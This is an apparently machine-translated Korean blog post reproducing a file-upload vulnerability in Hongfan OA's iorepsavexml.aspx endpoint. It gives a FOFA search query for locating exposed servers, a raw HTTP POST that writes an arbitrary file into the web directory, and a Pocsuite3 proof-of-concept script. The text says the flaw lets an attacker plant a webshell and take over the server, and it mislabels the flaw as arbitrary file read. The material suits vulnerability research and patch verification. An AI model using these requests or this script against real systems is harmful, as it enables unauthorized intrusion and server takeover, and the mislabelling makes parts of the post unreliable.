취약점 재발 - Hongfan OA iorepsavexml.aspx 파일 업로드 취약점(취약성 탐지 스크립트 포함)

부인 성명

글에 관련된 취약점은 수정되었으며 민감한 정보는 코딩되었습니다. 이 글은 경험 공유를 위한 글입니다 . 심각하게 받아들이지 마세요. 무단 공격은 불법입니다! 기사의 민감한 정보는 여러 수준에서 처리되었습니다. 본 글에 게재된 정보의 유포 및 이용으로 인해 발생한 직·간접적인 결과 및 손실에 대한 책임은 이용자에게 있으며, 이에 대해 작성자는 어떠한 책임도 지지 아니하므로, 결과에 대한 책임은 이용자에게 있습니다.

취약점 설명

Hongfan OA에는 임의 파일 읽기 취약점이 있으며, 공격자는 이 취약점을 이용하여 웹쉘 트로이 목마를 업로드하고 서버 제어 권한을 얻을 수 있습니다.

포파 성명서

app="红帆-ioffice" || app="红帆-HFOffice"

POC 플러스 감지

POST /ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=check.txt&filepath=/upfiles/rep/pic/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

12345678

업로드 성공 후 /ioffice/upfiles/rep/pic/check.txt를 방문하여 글쓰기 성공 여부를 확인하세요.

PoC 스크립트

스크립트를 위한 Pocsuite 프레임워크

# _*_ coding:utf-8 _*_
# @Time : 2023/12/24
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class iorepsavexml(POCBase):
    pocDesc = '''红帆OA iorepsavexml.aspx文件上传漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-24'
    name = '红帆OA iorepsavexml.aspx文件上传漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=check.txt&filepath=/upfiles/rep/pic/'
        check_path = self.url+ "/ioffice/upfiles/rep/pic/check.txt"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            'Accept-Encoding': 'gzip, deflate',
            'Cache-Control': 'max-age=0',
            'Connection': 'close',
            "Cookie": "ASP.NET_SessionId=lcluwirkrcqj42iuxfvafoq4",
            "Content-Type": "application/x-www-form-urlencoded"
        }

        try:
            data = "123456789"

            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200:
                check_response = requests.get(check_path, headers=headers, verify=False)
                if check_response.status_code == 200 and '123456789' in check_response.text:
                    result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(iorepsavexml)

스크립트 악용

추천

출처blog.csdn.net/jjjj1029056414/article/details/135182517